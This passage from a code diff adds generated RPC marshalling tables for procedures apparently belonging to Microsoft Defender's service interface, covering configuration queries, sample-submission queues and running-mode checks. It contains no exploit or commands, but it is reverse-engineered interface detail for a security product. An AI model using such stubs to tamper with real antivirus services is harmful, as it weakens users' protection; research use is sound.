), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6598 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6600 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6604 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6606 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc118_ServerMpRpcEngineQueryConfigDword */ + +/* 6608 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6610 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6614 */ NdrFcShort( 0x76 ), /* 118 */ +/* 6616 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6618 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6620 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6622 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6624 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6626 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6628 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6630 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6632 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6634 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6636 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6638 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6642 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6644 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6646 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6648 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6650 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6652 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6654 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6656 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6658 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6660 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc119_ServerMpRpcSampleHeaderQueueCreate */ + +/* 6662 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 6664 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6668 */ NdrFcShort( 0x77 ), /* 119 */ +/* 6670 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6672 */ NdrFcShort( 0x4c ), /* 76 */ +/* 6674 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 6676 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 6678 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6680 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6682 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6686 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6688 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 6690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6692 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 6694 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6696 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6698 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6700 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 6702 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6704 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_4 */ + +/* 6706 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 6708 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6710 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 6712 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6714 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6716 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6718 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6720 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6722 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ + +/* 6724 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6726 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6730 */ NdrFcShort( 0x78 ), /* 120 */ +/* 6732 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6734 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 6736 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6738 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6740 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6742 */ NdrFcShort( 0x78 ), /* 120 */ +/* 6744 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 6746 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6748 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6750 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6752 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6754 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 6756 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 6758 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6760 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 6762 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 6764 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6766 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_2 */ + +/* 6768 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6770 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6772 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6774 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6776 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6778 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6780 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6782 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6784 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc121_ServerMpRpcSampleHeaderQueueClose */ + +/* 6786 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6788 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6792 */ NdrFcShort( 0x79 ), /* 121 */ +/* 6794 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6796 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 6798 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6800 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6802 */ NdrFcShort( 0x38 ), /* 56 */ +/* 6804 */ NdrFcShort( 0x5c ), /* 92 */ +/* 6806 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 6808 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6810 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6812 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6814 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6816 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6818 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 6820 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6822 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 6824 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6826 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6828 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6830 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6834 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc122_ServerMpRpcSampleHeaderClose */ + +/* 6836 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6838 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6842 */ NdrFcShort( 0x7a ), /* 122 */ +/* 6844 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6846 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 6848 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6850 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6852 */ NdrFcShort( 0x38 ), /* 56 */ +/* 6854 */ NdrFcShort( 0x5c ), /* 92 */ +/* 6856 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 6858 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6862 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6864 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6866 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6868 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 6870 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6872 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 6874 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6876 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6878 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6880 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6882 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ + +/* 6886 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6888 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6892 */ NdrFcShort( 0x7b ), /* 123 */ +/* 6894 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6896 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 6898 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6900 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6902 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6904 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6906 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6908 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6914 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6916 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 6918 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 6920 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6922 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 6924 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6926 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6928 */ NdrFcShort( 0x966 ), /* Type Offset=2406 */ + + /* Parameter arg_2 */ + +/* 6930 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6932 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6934 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6936 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6938 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6940 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc124_ServerMpRpcGetSampleChunk */ + +/* 6942 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6944 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6948 */ NdrFcShort( 0x7c ), /* 124 */ +/* 6950 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6952 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6954 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6956 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6958 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6960 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 6962 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 6964 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6966 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6968 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6970 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6972 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6974 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6976 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6978 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6980 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6982 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6984 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6986 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6988 */ NdrFcShort( 0x98e ), /* Type Offset=2446 */ + + /* Parameter arg_4 */ + +/* 6990 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6992 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6994 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6996 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6998 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7000 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc125_ServerMpRpcConveySampleSubmissionResult */ + +/* 7002 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7004 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7008 */ NdrFcShort( 0x7d ), /* 125 */ +/* 7010 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7012 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7016 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7018 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7020 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 7022 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7024 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7026 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7028 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7030 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7032 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 7034 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7036 */ NdrFcShort( 0x9a6 ), /* Type Offset=2470 */ + + /* Parameter arg_2 */ + +/* 7038 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7040 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7042 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7044 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7046 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7048 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc126_ServerMpRpcGetSampleListRequiringConsent */ + +/* 7050 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7052 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7056 */ NdrFcShort( 0x7e ), /* 126 */ +/* 7058 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7060 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7062 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7064 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7066 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7068 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7070 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7072 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7074 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7076 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7078 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7080 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7082 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7086 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7088 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7090 */ NdrFcShort( 0x9cc ), /* Type Offset=2508 */ + + /* Parameter arg_3 */ + +/* 7092 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7094 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7096 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7098 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7100 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7102 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc127_ServerMpRpcConveyUserChoiceForSampleList */ + +/* 7104 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7106 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7110 */ NdrFcShort( 0x7f ), /* 127 */ +/* 7112 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7114 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7118 */ NdrFcShort( 0x8 ), /* 8 */ +/* 7120 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7122 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7124 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7126 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7128 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7130 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7132 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7134 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7138 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7140 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 7142 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7144 */ NdrFcShort( 0xa00 ), /* Type Offset=2560 */ + + /* Parameter arg_3 */ + +/* 7146 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7148 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7150 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7152 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7154 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7156 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc128_ServerMpRpcGetRunningMode */ + +/* 7158 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7160 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7164 */ NdrFcShort( 0x80 ), /* 128 */ +/* 7166 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7168 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7170 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7172 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7174 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7176 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 7178 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7180 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7184 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7186 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7188 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7190 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7192 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7194 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7196 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7198 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7200 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7202 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7204 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc129_ServerMpRpcIsGivenRunningModeSupported */ + +/* 7206 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7208 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7212 */ NdrFcShort( 0x81 ), /* 129 */ +/* 7214 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7216 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7218 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7220 */ NdrFcShort( 0x8 ), /* 8 */ +/* 7222 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7224 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 7226 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7228 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7230 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7232 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7234 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7236 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7238 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7240 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7242 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7244 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7246 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7248 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7250 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7252 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7254 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7256 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7258 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc130_ServerMpDisableXBGM */ + +/* 7260 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7262 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7266 */ NdrFcShort( 0x82 ), /* 130 */ +/* 7268 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7270 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7272 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7274 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7276 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7278 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7280 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7282 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7284 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7286 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7288 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7290 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7292 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7294 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7296 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7298 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7300 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc131_ServerMpDisableXBGM */ + +/* 7302 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7304 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7308 */ NdrFcShort( 0x83 ), /* 131 */ +/* 7310 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7312 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7314 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7316 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7318 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7320 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7322 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7324 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7326 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7328 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7330 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter 